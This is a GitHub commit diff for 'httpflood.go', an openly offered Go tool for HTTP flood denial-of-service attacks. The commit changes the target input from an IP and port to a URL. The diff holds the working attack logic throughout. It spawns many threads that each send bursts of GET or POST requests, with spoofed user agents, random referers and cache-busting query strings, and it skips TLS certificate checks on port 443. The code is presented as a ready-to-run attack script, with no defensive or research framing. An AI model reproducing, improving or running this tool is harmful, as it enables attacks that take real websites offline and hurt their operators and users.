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Changed host/ip to url
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@Leeon123
Leeon123 committed Aug 25, 2020
1 parent 91cfa42 commit e461e3b
Showing 1 changed file with 51 additions and 24 deletions.
75 changes: 51 additions & 24 deletions httpflood.go
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Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,9 @@ Please fking code ur script by ur self, kid.
I changed the random integers range to the max of int32.
Now 386 systems should work well.
Looks like most people want to hit the url but not the host/ip.
As a result, here you are.
*/
package main

Expand All @@ -14,12 +17,18 @@ import (
"io"
"math/rand"
"net"
"net/url"
"os"
"strconv"
"strings"
"time"
)

var (
host = ""
port = "80"
page = ""
mode = ""
abcd = "asdfghjklqwertyuiopzxcvbnmASDFGHJKLQWERTYUIOPZXCVBNM"
start = make(chan bool)
acceptall = []string{
Expand All @@ -38,7 +47,7 @@ var (
"Accept-Language: en-US,en;q=0.5\r\n",
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1\r\n",
"Accept: text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Charset: iso-8859-1\r\n"}
page string
key string
choice = []string{"Macintosh", "Windows", "X11"}
choice2 = []string{"68K", "PPC", "Intel Mac OS X"}
choice3 = []string{"Win3.11", "WinNT3.51", "WinNT4.0", "Windows NT 5.0", "Windows NT 5.1", "Windows NT 5.2", "Windows NT 6.0", "Windows NT 6.1", "Windows NT 6.2", "Win 9x 4.90", "WindowsCE", "Windows XP", "Windows 7", "Windows 8", "Windows NT 10.0; Win64; x64"}
Expand Down Expand Up @@ -118,20 +127,20 @@ func contain(char string, x string) int { //simple compare
return ans
}

func flood(ip, port, page, mode string) {
addr := ip + ":" + port
func flood() {
addr := host + ":" + port
header := ""
if mode == "get" {
header += " HTTP/1.1\r\nHost: "
header += addr + "\r\n"
if os.Args[7] == "nil" {
if os.Args[5] == "nil" {
header += "Connection: Keep-Alive\r\nCache-Control: max-age=0\r\n"
header += "User-Agent: " + getuseragent() + "\r\n"
header += acceptall[rand.Intn(len(acceptall))]
header += referers[rand.Intn(len(referers))] + "\r\n"
} else {
func() {
fi, err := os.Open(os.Args[7])
fi, err := os.Open(os.Args[5])
if err != nil {
fmt.Printf("Error: %s\n", err)
return
Expand All @@ -149,9 +158,9 @@ func flood(ip, port, page, mode string) {
}
} else if mode == "post" {
data := ""
if os.Args[7] != "nil" {
if os.Args[5] != "nil" {
func() {
fi, err := os.Open(os.Args[7])
fi, err := os.Open(os.Args[5])
if err != nil {
fmt.Printf("Error: %s\n", err)
return
Expand All @@ -168,11 +177,9 @@ func flood(ip, port, page, mode string) {
}()

} else {
for x := 0; x > 100; x++ {
data += string(string(abcd[rand.Intn(len(abcd))]))
}
data = "f"
}
header := "POST " + os.Args[4] + " HTTP/1.1\r\nHost: " + addr + "\r\n"
header += "POST " + page + " HTTP/1.1\r\nHost: " + addr + "\r\n"
header += "Connection: Keep-Alive\r\nContent-Type: x-www-form-urlencoded\r\nContent-Length: " + strconv.Itoa(len(data)) + "\r\n"
header += "Accept-Encoding: gzip, deflate\r\n\n" + data + "\r\n"
}
Expand All @@ -183,7 +190,7 @@ func flood(ip, port, page, mode string) {
if port == "443" {
cfg := &tls.Config{
InsecureSkipVerify: true,
ServerName: ip, //simple fix
ServerName: host, //simple fix
}
s, err = tls.Dial("tcp", addr, cfg)
} else {
Expand All @@ -194,8 +201,8 @@ func flood(ip, port, page, mode string) {
} else {
for i := 0; i < 100; i++ {
request := ""
if os.Args[5] == "get" {
request += "GET " + os.Args[4] + page
if os.Args[3] == "get" {
request += "GET " + page + key
request += strconv.Itoa(rand.Intn(2147483647)) + string(string(abcd[rand.Intn(len(abcd))])) + string(abcd[rand.Intn(len(abcd))]) + string(abcd[rand.Intn(len(abcd))]) + string(abcd[rand.Intn(len(abcd))])
}
request += header + "\r\n"
Expand All @@ -214,33 +221,53 @@ func main() {
fmt.Println(" || || || || || || || || || || || || || || ")
fmt.Println(".|| ||. `|..' `|..' ||..|' .||. .||. `|..|' `|..|' `|..||. ")
fmt.Println(" || ")
fmt.Println(" .|| Golang version 1.9 ")
fmt.Println(" .|| Golang version 2.0 ")
fmt.Println(" C0d3d By L330n123")
fmt.Println("==========================================================================")
if len(os.Args) != 8 {
if len(os.Args) != 6 {
fmt.Println("Post Mode will use header.txt as data")
fmt.Println("If you are using linux please run 'ulimit -n 999999' first!!!")
fmt.Println("Usage: ", os.Args[0], "<ip> <port> <threads> <page> <get/post> <seconds> <header.txt/nil>")
fmt.Println("Usage: ", os.Args[0], "<url> <threads> <get/post> <seconds> <header.txt/nil>")
os.Exit(1)
}
threads, err := strconv.Atoi(os.Args[3])
u, err := url.Parse(os.Args[1])
if err != nil {
println("Please input a correct url")
}
tmp := strings.Split(u.Host, ":")
host = tmp[0]
if u.Scheme == "https" {
port = "443"
} else {
port = u.Port()
}
if port == "" {
port = "80"
}
page = u.Path
if os.Args[3] != "get" && os.Args[3] != "post" {
println("Wrong mode, Only can use \"get\" or \"post\"")
return
}
mode = os.Args[3]
threads, err := strconv.Atoi(os.Args[2])
if err != nil {
fmt.Println("Threads should be a integer")
}
limit, err := strconv.Atoi(os.Args[6])
limit, err := strconv.Atoi(os.Args[4])
if err != nil {
fmt.Println("limit should be a integer")
}
if contain(os.Args[4], "?") == 0 {
page = "?"
if contain(page, "?") == 0 {
key = "?"
} else {
page = "&"
key = "&"
}
input := bufio.NewReader(os.Stdin)

for i := 0; i < threads; i++ {
time.Sleep(time.Microsecond * 100)
go flood(os.Args[1], os.Args[2], os.Args[4], os.Args[5]) // Start threads
go flood() // Start threads
fmt.Printf("\rThreads [%.0f] are ready", float64(i+1))
os.Stdout.Sync()
//time.Sleep( time.Millisecond * 1)
Expand All @@ -251,7 +278,7 @@ func main() {
fmt.Println(err)
return
}
fmt.Println("Flood will end in " + os.Args[6] + " seconds.")
fmt.Println("Flood will end in " + os.Args[4] + " seconds.")
close(start)
time.Sleep(time.Duration(limit) * time.Second)
//Keep the threads continue
Expand Down

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